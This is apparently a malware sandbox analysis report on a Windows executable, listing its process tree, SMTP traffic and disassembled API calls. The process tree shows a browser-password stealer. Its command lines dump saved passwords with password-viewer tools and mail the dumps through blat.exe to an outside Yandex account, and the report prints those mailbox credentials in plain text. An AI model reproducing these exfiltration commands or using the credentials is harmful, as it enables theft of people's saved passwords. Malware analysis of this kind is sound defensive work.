Nov 20, 2024 18:16:38.905217886 CET	49832	587	192.168.2.4	77.88.21.158	EHLO 927537.yandex.ru
Nov 20, 2024 18:16:39.358840942 CET	587	49832	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-39.sas.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Nov 20, 2024 18:16:41.605813980 CET	49832	587	192.168.2.4	77.88.21.158	AUTH PLAIN AGFsZXhhbmRyS29uZHJhdGlldjUAcXdlcnR5NQ==
Nov 20, 2024 18:16:42.060802937 CET	587	49832	77.88.21.158	192.168.2.4	530 5.7.7 Email sending without SSL/TLS encryption is not allowed. Please see: https://yandex.ru/support/mail/mail-clients/ssl.html 1732123001-cGW2qA7OlqM0
Nov 20, 2024 18:16:42.061247110 CET	49832	587	192.168.2.4	77.88.21.158	AUTH LOGIN
Nov 20, 2024 18:16:42.519639969 CET	587	49832	77.88.21.158	192.168.2.4	530 5.7.7 Email sending without SSL/TLS encryption is not allowed. Please see: https://yandex.ru/support/mail/mail-clients/ssl.html 1732123002-cGW2qA7OlqM0
Nov 20, 2024 18:16:42.520215034 CET	49832	587	192.168.2.4	77.88.21.158	MAIL FROM:<alexandrKondratiev5@yandex.ru>
Nov 20, 2024 18:16:42.973721027 CET	587	49832	77.88.21.158	192.168.2.4	503 5.5.4 Error: send AUTH command first. 1732123002-cGW2qA7OlqM0-wdl07VlR
Nov 20, 2024 18:16:42.974473000 CET	49832	587	192.168.2.4	77.88.21.158	QUIT
Nov 20, 2024 18:16:43.429357052 CET	587	49832	77.88.21.158	192.168.2.4	221 2.0.0 Closing connecton

Target ID:	0
Start time:	12:14:56
Start date:	20/11/2024
Path:	C:\Users\user\Desktop\0zu73p2YBu.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\0zu73p2YBu.exe"
Imagebase:	0x400000
File size:	642'048 bytes
MD5 hash:	29ECA65FFA92A3F877B59DF42E2150ED
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	12:14:56
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\ .exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\ .exe"
Imagebase:	0x400000
File size:	565'760 bytes
MD5 hash:	6867A307FDB19A4B89696F07FBFB1847
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:14:56
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\600.tmp\ip.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:14:56
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:14:58
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping -n 3 127.0.0.1
Imagebase:	0x630000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	12:15:00
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\600.tmp\OperaPassView.exe
Wow64 process (32bit):	true
Commandline:	OperaPassView.exe /stext user-PC_OperaPassView.txt
Imagebase:	0x400000
File size:	40'448 bytes
MD5 hash:	8B4AE559AD7836B27EE9F8F171BE8139
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 61%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	12:15:00
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping -n 3 127.0.0.1
Imagebase:	0x630000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	12:15:03
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\600.tmp\PasswordFox.exe
Wow64 process (32bit):	true
Commandline:	PasswordFox.exe /stext user-PC_PasswordFox.txt
Imagebase:	0x400000
File size:	39'424 bytes
MD5 hash:	CC84065F23CFC3D980AAD38EFC648DE6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FoxPasswordStealer, Description: Yara detected Fox Password Stealer, Source: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 76%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	12:15:03
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping -n 3 127.0.0.1
Imagebase:	0x630000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	12:15:05
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe
Wow64 process (32bit):	true
Commandline:	iepv.exe /stext user-PC_iepv.txt
Imagebase:	0x400000
File size:	44'544 bytes
MD5 hash:	C861FE184E271D6E2BA958DA306BA748
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 71%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	12:15:05
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping -n 3 127.0.0.1
Imagebase:	0x630000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	12:15:07
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe
Wow64 process (32bit):	true
Commandline:	ChromePass.exe /stext user-PC_ChromePass.txt
Imagebase:	0x400000
File size:	130'048 bytes
MD5 hash:	CB271441FA19AC163ECF380C8EBB3109
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 61%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	12:15:07
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping -n 120 127.0.0.1
Imagebase:	0x630000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	12:16:08
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe
Wow64 process (32bit):	true
Commandline:	blat.exe -install -server smtp.yandex.ru -port 587 -f alexandrKondratiev5@yandex.ru -u alexandrKondratiev5 -pw qwerty5
Imagebase:	0x400000
File size:	115'200 bytes
MD5 hash:	31F84E433E8D1865E322998A41E6D90E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 8%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	12:16:08
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping -n 3 127.0.0.1
Imagebase:	0x630000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	12:16:10
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe
Wow64 process (32bit):	true
Commandline:	blat.exe -to alexandrKondratiev5@yandex.ru -subject "Opera" -attachi "user-PC_OperaPassView.txt" -body "Opera"
Imagebase:	0x7ff70f330000
File size:	115'200 bytes
MD5 hash:	31F84E433E8D1865E322998A41E6D90E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	12:16:16
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping -n 3 127.0.0.1
Imagebase:	0x630000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	12:16:18
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe
Wow64 process (32bit):	true
Commandline:	blat.exe -to alexandrKondratiev5@yandex.ru -subject "Fox" -attachi "user-PC_PasswordFox.txt" -body "Fox"
Imagebase:	0x400000
File size:	115'200 bytes
MD5 hash:	31F84E433E8D1865E322998A41E6D90E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	12:16:24
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping -n 3 127.0.0.1
Imagebase:	0x630000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	12:16:27
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe
Wow64 process (32bit):	true
Commandline:	blat.exe -to alexandrKondratiev5@yandex.ru -subject "ie" -attachi "user-PC_iepv.txt" -body "ie"
Imagebase:	0x400000
File size:	115'200 bytes
MD5 hash:	31F84E433E8D1865E322998A41E6D90E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	12:16:34
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping -n 3 127.0.0.1
Imagebase:	0x630000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	12:16:36
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe
Wow64 process (32bit):	true
Commandline:	blat.exe -to alexandrKondratiev5@yandex.ru -subject "Chrome" -attachi "user-PC_ChromePass.txt" -body "Chrome"
Imagebase:	0x400000
File size:	115'200 bytes
MD5 hash:	31F84E433E8D1865E322998A41E6D90E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	12:16:42
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping -n 3 127.0.0.1
Imagebase:	0x630000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	66%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	60%
Total number of Nodes:	75
Total number of Limit Nodes:	14

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 004014CB Relevance: 107.1, APIs: 53, Strings: 8, Instructions: 371
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32(C:\Windows\system32\,00001000), ref: 004014DC
PathAddBackslashA.KERNELBASE(C:\Windows\system32\), ref: 004014E6
GetWindowsDirectoryA.KERNEL32(00404450,00001000), ref: 004014F6
PathAddBackslashA.SHLWAPI(00404450,00404450,00001000), ref: 00401500
GetTempPathA.KERNEL32(00001000,00405450), ref: 00401510
PathAddBackslashA.SHLWAPI(00405450,00001000,00405450), ref: 0040151A
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\,00000200), ref: 0040152C
PathFindFileNameA.SHLWAPI(C:\Users\user\Desktop\,00000000,C:\Users\user\Desktop\,00000200), ref: 00401536
GetEnvironmentVariableA.KERNEL32(APPDATA,00407450,00001000), ref: 0040154E
PathAddBackslashA.SHLWAPI(00407450,APPDATA,00407450,00001000), ref: 00401558
SHGetSpecialFolderPathA.SHELL32(00000000,C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\,00000007,00000001), ref: 00401569
PathAddBackslashA.SHLWAPI(C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\), ref: 00401574
SHGetSpecialFolderPathA.SHELL32(00000000,00409450,00000010,00000001), ref: 00401585
PathAddBackslashA.SHLWAPI(00409450), ref: 00401590

Part of subcall function 00401189: FindResourceA.KERNEL32(00000000,00001001,0000000A), ref: 00401199
Part of subcall function 00401189: ExitProcess.KERNEL32(00000000,00000000,0000000A,00000000), ref: 00401B0F

Part of subcall function 00401A6F: MessageBoxA.USER32(00000000,004015A5), ref: 00401A8C

FindResourceA.KERNEL32(00000000,00000001,0000000A), ref: 004015B4
SizeofResource.KERNEL32(00000000,00000000,00000000,00000001,0000000A,00000001), ref: 004015CA
ExitProcess.KERNEL32(?,?,?,?,00410694,00000000,00406450,C0000000,00000003,00000000,00000002,00000080,00000000,00406450,00410060), ref: 004019FF
ExitProcess.KERNEL32(00000000,?,?,?,?,00410694,00000000,00406450,C0000000,00000003,00000000,00000002,00000080,00000000,00406450,00410060), ref: 00401A06

Strings

open, xrefs: 004019C1
C:\Users\user\AppData\Local\Temp\, xrefs: 00401991, 0040199B, 004019A8
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\, xrefs: 00401562, 0040156F, 00401787
C:\Users\user\Desktop\, xrefs: 00401525, 00401531, 0040176D
4UB, xrefs: 00401607, 00401627
C:\Dir1\SubDir, xrefs: 00401707, 004017A1, 004019B3
C:\Windows\system32\, xrefs: 004014D7, 004014E1, 00401746
APPDATA, xrefs: 00401549

Memory Dump Source

Source File: 00000000.00000002.1676806976.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676793353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676822719.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676862014.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676862014.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676862014.0000000000410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676905599.0000000000411000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676977396.00000000004AB000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0zu73p2YBu.jbxd

Similarity

API ID: Path$Backslash$ExitFindProcessResource$DirectoryFileFolderNameSpecial$EnvironmentMessageModuleSizeofSystemTempVariableWindows
String ID: 4UB$APPDATA$C:\Dir1\SubDir$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$C:\Users\user\Desktop\$C:\Windows\system32\$open
API String ID: 1375885263-934362696
Opcode ID: 50095d240ff997be04fd6f2d848ced9c49322861209034e3b8e4f945b30697c9
Instruction ID: e2ab4b508eaebd8f5c656a5e621ccd2c6fa043b933859f919f4585061545147a
Opcode Fuzzy Hash: 50095d240ff997be04fd6f2d848ced9c49322861209034e3b8e4f945b30697c9
Instruction Fuzzy Hash: AED13074A84204AEEB11ABA0DD86FAD3775AB54719F20403BF101B61F1D7FD6890DB1D

Function 00401340 Relevance: 47.3, APIs: 14, Strings: 13, Instructions: 53
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(Shell32.dll,0040111C), ref: 00401345
GetProcAddress.KERNEL32(ShellExecuteA,Shell32.dll), ref: 0040135A
GetProcAddress.KERNEL32(SHGetSpecialFolderPathA,0040111C), ref: 0040136F
LoadLibraryA.KERNEL32(shlwapi.dll,SHGetSpecialFolderPathA,0040111C), ref: 0040137E
GetProcAddress.KERNEL32(PathFindFileNameA,shlwapi.dll), ref: 00401393
GetProcAddress.KERNEL32(PathAddBackslashA,PathFindFileNameA), ref: 004013A8
LoadLibraryA.KERNEL32(advapi32.dll,PathAddBackslashA,PathFindFileNameA,shlwapi.dll,SHGetSpecialFolderPathA,0040111C), ref: 004013B7
GetProcAddress.KERNEL32(RegCreateKeyExA,advapi32.dll), ref: 004013CC
GetProcAddress.KERNEL32(RegSetValueExA,RegCreateKeyExA), ref: 004013E1
GetProcAddress.KERNEL32(RegCloseKey,RegSetValueExA), ref: 004013F6
LoadLibraryA.KERNEL32(ntdll.dll,RegCloseKey,RegSetValueExA,RegCreateKeyExA,advapi32.dll,PathAddBackslashA,PathFindFileNameA,shlwapi.dll,SHGetSpecialFolderPathA,0040111C), ref: 00401405
GetProcAddress.KERNEL32(RtlDecompressBuffer,ntdll.dll), ref: 0040141A
GetModuleFileNameA.KERNEL32(00000000,0040B450,00001000,RtlDecompressBuffer,ntdll.dll,RegCloseKey,RegSetValueExA,RegCreateKeyExA,advapi32.dll,PathAddBackslashA,PathFindFileNameA,shlwapi.dll,SHGetSpecialFolderPathA,0040111C), ref: 00401430
GetEnvironmentVariableA.KERNEL32(ComSpec,0040F450,00000500,00000000,0040B450,00001000,RtlDecompressBuffer,ntdll.dll,RegCloseKey,RegSetValueExA,RegCreateKeyExA,advapi32.dll,PathAddBackslashA,PathFindFileNameA,shlwapi.dll,SHGetSpecialFolderPathA), ref: 00401444

Strings

RtlDecompressBuffer, xrefs: 0040140F
RegCloseKey, xrefs: 004013EB
PathAddBackslashA, xrefs: 0040139D
shlwapi.dll, xrefs: 00401379
ShellExecuteA, xrefs: 0040134F
SHGetSpecialFolderPathA, xrefs: 00401364
ComSpec, xrefs: 0040143F
advapi32.dll, xrefs: 004013B2
ntdll.dll, xrefs: 00401400
RegCreateKeyExA, xrefs: 004013C1
PathFindFileNameA, xrefs: 00401388
RegSetValueExA, xrefs: 004013D6
Shell32.dll, xrefs: 00401340

Memory Dump Source

Source File: 00000000.00000002.1676806976.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676793353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676822719.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676862014.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676862014.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676862014.0000000000410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676905599.0000000000411000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676977396.00000000004AB000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0zu73p2YBu.jbxd

Similarity

API ID: AddressProc$LibraryLoad$EnvironmentFileModuleNameVariable
String ID: ComSpec$PathAddBackslashA$PathFindFileNameA$RegCloseKey$RegCreateKeyExA$RegSetValueExA$RtlDecompressBuffer$SHGetSpecialFolderPathA$Shell32.dll$ShellExecuteA$advapi32.dll$ntdll.dll$shlwapi.dll
API String ID: 3647900824-1083084054
Opcode ID: 6ef7ec11d9fb8a3ad29c85a516843b12afa07f7b7a4480054501895f0df25c09
Instruction ID: 1a3f60b94c72a3d764b465012e8e4006d7b5de4556887a89fcf71d3449609cad
Opcode Fuzzy Hash: 6ef7ec11d9fb8a3ad29c85a516843b12afa07f7b7a4480054501895f0df25c09
Instruction Fuzzy Hash: 55118FB0786344ADE611BF22AC03AA53E75E790B05B10C43BB444755FAE7FD59B19B0C

Function 00401AD8 Relevance: 6.0, APIs: 4, Instructions: 15
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineA.KERNEL32 ref: 00401AD8
GetModuleHandleA.KERNEL32(00000000), ref: 00401AE4
GetProcessHeap.KERNEL32(00000000), ref: 00401AEE

Part of subcall function 00401000: LoadIconA.USER32(00403000,000001F4), ref: 0040104C
Part of subcall function 00401000: LoadCursorA.USER32(00000000,00007F00), ref: 0040105B
Part of subcall function 00401000: RegisterClassExA.USER32(00000030), ref: 0040106E
Part of subcall function 00401000: CreateWindowExA.USER32(00000000,WinClass32,WinClass32,00CF0000,?,?,?,?,00000000,00000000,00403000,00000000), ref: 004010AA
Part of subcall function 00401000: ShowWindow.USER32(00000001,?), ref: 004010BC
Part of subcall function 00401000: UpdateWindow.USER32(00000001), ref: 004010C7
Part of subcall function 00401000: GetMessageA.USER32(?,00000000,00000000,00000000), ref: 004010D6
Part of subcall function 00401000: TranslateMessage.USER32(?), ref: 004010E4
Part of subcall function 00401000: DispatchMessageA.USER32(?), ref: 004010ED

ExitProcess.KERNEL32(00000000,00000000,0000000A,00000000), ref: 00401B0F

Memory Dump Source

Source File: 00000000.00000002.1676806976.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676793353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676822719.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676862014.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676862014.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676862014.0000000000410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676905599.0000000000411000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676977396.00000000004AB000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0zu73p2YBu.jbxd

Similarity

API ID: MessageWindow$LoadProcess$ClassCommandCreateCursorDispatchExitHandleHeapIconLineModuleRegisterShowTranslateUpdate
String ID:
API String ID: 673778540-0
Opcode ID: becb866452694a3a7b1e3b16712e2c71598974007851497f18c905e52376158d
Instruction ID: 8dce49216dd7d9d4199a49ca56cfbc69a4ccef7545e9a5bd4d655d6bb2b69eda
Opcode Fuzzy Hash: becb866452694a3a7b1e3b16712e2c71598974007851497f18c905e52376158d
Instruction Fuzzy Hash: 50E06774A45300AAE7217F71AE02B193E75A74174AF00007BB601791F6EBB86A109B5D

Function 00401169 Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(00000000,00000000,0000000A,00000000), ref: 00401B0F

Memory Dump Source

Source File: 00000000.00000002.1676806976.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676793353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676822719.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676862014.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676862014.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676862014.0000000000410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676905599.0000000000411000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676977396.00000000004AB000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0zu73p2YBu.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 714ab66ee6a437a4e7e531f558f1893001c0bd575ffc3dde3890ca7ea888f759
Instruction ID: 6052738ef485299c3c4fdb0b236ee7e135dca6718f0a2ea55ee82b8d7645fc1e
Opcode Fuzzy Hash: 714ab66ee6a437a4e7e531f558f1893001c0bd575ffc3dde3890ca7ea888f759
Instruction Fuzzy Hash: 22C02B3420C304CBD216DB84C745B003330FB00F02F400077A200259F2837C7800D94F

Function 00401157 Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(00000000,00000000,0000000A,00000000), ref: 00401B0F

Memory Dump Source

Source File: 00000000.00000002.1676806976.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676793353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676822719.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676862014.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676862014.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676862014.0000000000410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676905599.0000000000411000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676977396.00000000004AB000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0zu73p2YBu.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: b3c74884984f365968fc207d099f3b1e189d9239c5d3ccd66837152c84ea0862
Instruction ID: 5b4a1a1b9248d86d75d5b6903a42a4fd48aa6b016996c6b0739733c6a8f7b2a9
Opcode Fuzzy Hash: b3c74884984f365968fc207d099f3b1e189d9239c5d3ccd66837152c84ea0862
Instruction Fuzzy Hash: CDC02B3810C380CAD31BC364864AB017271A700F02F8480B3E201244F2437C6D40C20F

Function 00401189 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceA.KERNEL32(00000000,00001001,0000000A), ref: 00401199
SizeofResource.KERNEL32(00000000,00000000), ref: 004011AF
ExitProcess.KERNEL32(00000000,00000000,0000000A,00000000), ref: 00401B0F

Strings

4UB, xrefs: 004011EC

Memory Dump Source

Source File: 00000000.00000002.1676806976.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676793353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676822719.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676862014.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676862014.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676862014.0000000000410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676905599.0000000000411000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676977396.00000000004AB000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0zu73p2YBu.jbxd

Similarity

API ID: Resource$ExitFindProcessSizeof
String ID: 4UB
API String ID: 1411291463-2201820659
Opcode ID: 2951c3ceb8ed4102f800c93b197117d063b6b0fade13dfe354e7c0c7c61d492e
Instruction ID: 54916fd416a240242440a09587848b99c6951bb24d46c27558f3872607dfc3e1
Opcode Fuzzy Hash: 2951c3ceb8ed4102f800c93b197117d063b6b0fade13dfe354e7c0c7c61d492e
Instruction Fuzzy Hash: 1A4101B0A40204EFEB40DFA5ED81BA93BB4F754345F10857AF501BA2B1E7B46DA0DB19

Function 00401000 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 67
windowregistryCOMMON

Download Yara Rule

